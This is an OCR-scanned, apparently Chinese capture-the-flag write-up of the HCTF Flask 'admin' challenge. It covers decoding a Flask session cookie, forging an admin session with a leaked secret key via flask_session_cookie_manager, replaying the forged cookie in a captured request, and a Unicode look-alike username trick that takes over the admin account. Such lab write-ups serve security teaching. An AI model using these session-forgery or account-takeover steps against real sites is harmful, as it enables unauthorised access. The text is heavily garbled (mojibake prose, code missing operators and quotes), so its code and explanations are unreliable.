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{!— you are not admin —>
<hl class="nav” >Welcome to hctf</hl>

{script type="text/javascript”™>
$ (document) . ready (function () {
/iR R RRE
$(C .ui. dropdown’ ). dropdown () ;

[/ BRI AR B sl R R e
$( . post—content .avatar—link’ ). popup ({
inline: true,
position: 'bottom right’,
lastResort: "bottom right’
1
)
{/seript>
</body>
</html>
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{div eclass="ui grid”>
{div class="four wide column”><{/div>
{div class="eight wide column”>
{!— https.://github. com/woadsl1234/hctf flask/ —>
{form class="ui form segment” method="post” enctype="multipart/form—data”>
{div class="field required”>
{label>NewPassword</label>
{input id="newpassword” name="newpassword” required type="password” value="">
</div>
{input type="submit” class="ui button fluid” value=" 1 {ii& ">
{/form>
</div>
</div>

0x01 Sessionik Y

include( 'header.html") %}
if current_user.is_authenticated %}

class=" ">Hello {{ session['name'] }}</h1>
endif %}
if current_user.is_authenticated and session['name'] == 'admin' %}

class=" ">Shctf{xxxxxxxxx}</h1>
endif %}

class=" ">Welcome to hctf</hi1>

include( 'footer.html") %}
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from base64 import b64decode
from flask.sessions import session_json_serializer

from itsdangerous import base64 decode

def decryption(payload):
payload, sig payload.rsplit(b , 1)
payload, timestamp payload.rsplit(b , 1)

decompress False
if payload.startswith(b
payload payload[1:]

decompress True

try:
payload base64_decode(payload)
except Exception as e:

raise Exception(

if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception(

return session_json_serializer.loads(payload)

print(decryption(s.encode()))

~/Desktop

$ python script.py

{' _fresh': True, '_id': b"3ca4bd7cc2e2813%e%9e1962ea737e7c901883F0Tbech9aldf7f45c23b9816404c55626e5799bec
5f3968a379e68559254211F490ft49b41bc8bb9ab93c6t5f4f", "csrf_token': b'daSebb2cldfe93c9cl1276b6428e8dchdfal)
2e39%e’, 'image': b'YEfZ', 'name': 'test', ‘user_id': '10'}

B DAE BIREMR 2 R ECRI A S, REE BRI B —/ME name FRIERBAIZ aiEMitest. BMREH—TXAME, REEFHME—T
BATBA T o IN%F R BAE K writeup LB AN Hdik:  https://github.com/noraj/flask-session-cookie-manager. £ 3|5 B3 FHEI A . ng
B EE—/ME SECRET_KEY , XAME config.py HEEEH.

SECRET_KEY = os.environ.get(
SQLALCHEMY_DATABASE_URI
SQLALCHEMY_TRACK_MODIFICATIONS




python3 ./flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'3ca4bd7cc2e28139e9e]
962ea737e7c901883f0fbecb9aldf7f45c23b9816404c55626e5799bed5f3968a379e€68559254211f490Ff49b41bc8bb9ab93c6f5f4f", '
csrf_token': b'daS5ebb2cldfe93c9c1276b6428e8dcbdfa22e39e"', 'image': b'YEfZ', 'name': 'admin', 'user_id': '10'}"
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Go ‘ Target: http://e6dbd34e-eb2d-4173-ae0a-32014dca6089.node3.buuoj.cn /(

Raw | Params | Headers | Hex [Raw Headers | Hex | HTML | Render

GET /index HTTP/1.1 0
Host: ebdbd34e-eb2d-4173-ae0a-32014dcab089.node3.buuoj.cn r
User-Agent: Mozilla/S.0 (Nindows NT 10.0; Win64; x64: nv74.0) Gecko/20100101 Firefox/74.0

Accept: text/html application/xhtml+xml application/xmlq=0.8image/webp, <*:q=0.8

Accept-Language: zh-CN,zh;q=0.8.zh-TW,q= 0.7 zh-HK;q=0.5,en-US:q=03,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Referer: httpy//e6dbd3d e-eh2d-4173-ae0a-32014dc a6089.node3 buuof.cn/change

Cookie:

session=.e/wI0M2KiwkAQB OBXWirswYzORFCy<AORuofLJEPPRIyJMRPbhagY|777B heBVSEHVU 9YHSryco TZth2VI1Ke

594WsLM0BFROGWD SKKKPRDxIveuF7u9AU lie2uS SUPUG-uaOtpajd7mXIVarZ jQ-7IXimC g2tiqoSDdKcGILDIBo
JERMMUDTUjeU pWSWM viJxHhmbRASAHT0eG _stPmSaQ9ax4 RIBF 2qUaHyoRBKeABVEewUTWES IW3K82eCTxaRd8s
2BTUf-JOFIZDDSNOceAhuP KvAshK26 cNb1DEbVZ 1N IXSKVicev-m_N Ghal2e6nPMILbp Wzfv 0EOhteful dsfwXn
1xOADRVRpDBju2UKzZEl auBiCvYInR7Y

Upgrade-Insecure-Requests: 1
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H str.lower() KIHEE, EEEEIIET —ANHCKTE. XANHEERERAE—MNER, #EUnicodelk .

def strlower(username):
username = nodeprep.prepare(username)

return username

Admin->Admin->admin W PAER|ZEFKstrlower)5 it REZS fliadmin.

REEEM Admin kP, REEMR EEBBENE, MEERBSE adnin KD, REMERXNHEGEZEER adnin KS. &
£ 7] LLEE XA M 3 #% https://unicode-table.com/en/1D2E/, 2% jModifier Letter Capital.
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